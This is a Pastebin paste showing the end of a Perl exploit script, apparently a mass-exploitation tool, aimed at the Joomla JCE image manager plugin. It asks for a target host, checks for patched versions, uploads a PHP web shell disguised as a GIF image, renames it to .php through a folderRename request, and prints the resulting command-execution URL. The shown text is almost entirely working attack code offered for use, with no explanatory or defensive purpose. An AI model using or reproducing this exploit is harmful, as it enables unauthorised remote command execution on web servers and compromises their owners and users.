  1425. print color("green"), "\t||||        edited by: Nadim Zobaer (nadimzobaer[@]gmail[dot]com)      ||||\n\n";
  1426. print color("green"), "Write your target (without http://) : ";
  1427. my $fuck = <>;
  1428. chomp $fuck;
  1429. $TARGET = $fuck;
  1430. $PORT   = "80";
  1431. $SCRIPT = "/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20";
  1432. $SHELL  = "/images/stories/0day.php?cmd=";
  1433. $HTTP   = "http://";
  1434.  
  1435. $header1G = "GET $SCRIPT HTTP/1.1";
  1436. $header1H = "HEAD /images/stories/0day.php HTTP/1.1";
  1437. $header1P = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b HTTP/1.1";
  1438. $header1P2 = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1";
  1439. $header2 = "Host: $TARGET";
  1440. $header3 = "User-Agent: BOT/0.1 (BOT for JCE)";
  1441. $header4 = "Content-Type: multipart/form-data; boundary=---------------------------41184676334";
  1442. $header5 = "Content-Length: 769";
  1443. $header6 = "-----------------------------41184676334";
  1444. $header7 = 'Content-Disposition: form-data; name="upload-dir"';
  1445. $header8 = '/';
  1446. $header9 = 'Content-Disposition: form-data; name="Filedata"; filename=""';
  1447. $header10 = 'Content-Type: application/octet-stream';
  1448. $header11 = 'Content-Disposition: form-data; name="upload-overwrite"';
  1449. $header12 = "0";
  1450. $header13 = 'Content-Disposition: form-data; name="Filedata"; filename="0day.gif"';
  1451. $header14 = 'Content-Type: image/gif';
  1452. $header15 = 'GIF89aG';
  1453. $header16 = "<? system($_GET['cmd']);exit; ?>";
  1454. $header17 = 'Content-Disposition: form-data; name="upload-name"';
  1455. $header18 = '0day';
  1456. $header19 = 'Content-Disposition: form-data; name="action"';
  1457. $header20 = 'upload';
  1458. $header21 = "-----------------------------41184676334--";
  1459. $header22 = 'X-Request: JSON';
  1460. $header23 = 'Content-Type: application/x-www-form-urlencoded; charset=utf-8';
  1461. $header25 = 'json={"fn":"folderRename","args":["/0day.gif","0day.php"]}';
  1462. $header24 = "Content-Length: ".length($header25)."";
  1463.  
  1464. ############################################### Packet 1 --> Checking Exploitability #########################################################
  1465. print "\n[*] Checking Exploitability ...\n\n";
  1466. sleep 2;
  1467. $pageURL=$TARGET.$SCRIPT;
  1468. $simplePage=get($pageURL);
  1469. @arr = ("2.0.11</title","2.0.12</title","2.0.13</title","2.0.14</title","2.0.15</title","1.5.7.10</title","1.5.7.11</title","1.5.7.12</title","1.5.7.13</title","1.5.7.14</title");
  1470. while (($count!=10) && ($die != 1)) {
  1471.     foreach $arr(@arr){
  1472.         if ($simplePage =~ m/$arr/) {
  1473.             print "\n[*] Target patched.\n\n";
  1474.             $die = 1;
  1475.         } else {
  1476.             $count++;
  1477.                 }
  1478.         }
  1479.     }
  1480.  if ($count==5) {print "[*] Target is exploitable.\n\n"};
  1481. ############################################### Packet 2 --> Uploading shell as a gif file #########################################################
  1482. $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$TARGET" ,PeerPort=>"$PORT")
  1483. || die "Can't connect to $TARGET";
  1484. print "[*] Trying to upload 0day.gif ...\n\n";
  1485. print $remote "$header1P\n$header2\n$header3\n$header4\n$header5\n\n$header6\n$header7\n\n$header8\n$header6\n$header9\n$header10\n\n\n$header6\n$header11\n\n$header12\n$header6\n$header13\n$header14\n\n$header15\n$header16\n$header6\n$header17\n\n$header18\n$header6\n$header19\n\n$header20\n$header21\n\n";
  1486. sleep 2;
  1487. ############################################### Packet 3 --> Change Extension from .gif to .php #########################################################
  1488. print "[*] Trying to change extension from .gif to .php ...\n\n";
  1489. $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$TARGET" ,PeerPort=>"$PORT")
  1490. || die "Can't connect to $TARGET";
  1491. print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n";
  1492. ############################################### Packet 4 --> Check for successfully uploaded #########################################################
  1493. $shellurl=$TARGET.$SHELL;
  1494. $output=get($shellurl);
  1495. while ($output = <$remote> ) {
  1496. if ($output =~ /200 OK/) {
  1497. print "[+] 0day.php was successfully uploaded\n\n";
  1498. print "[+] Path:".$TARGET.$SHELL."id\n";
  1499. }}
  1500.  
  1501. }
  1502. }
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!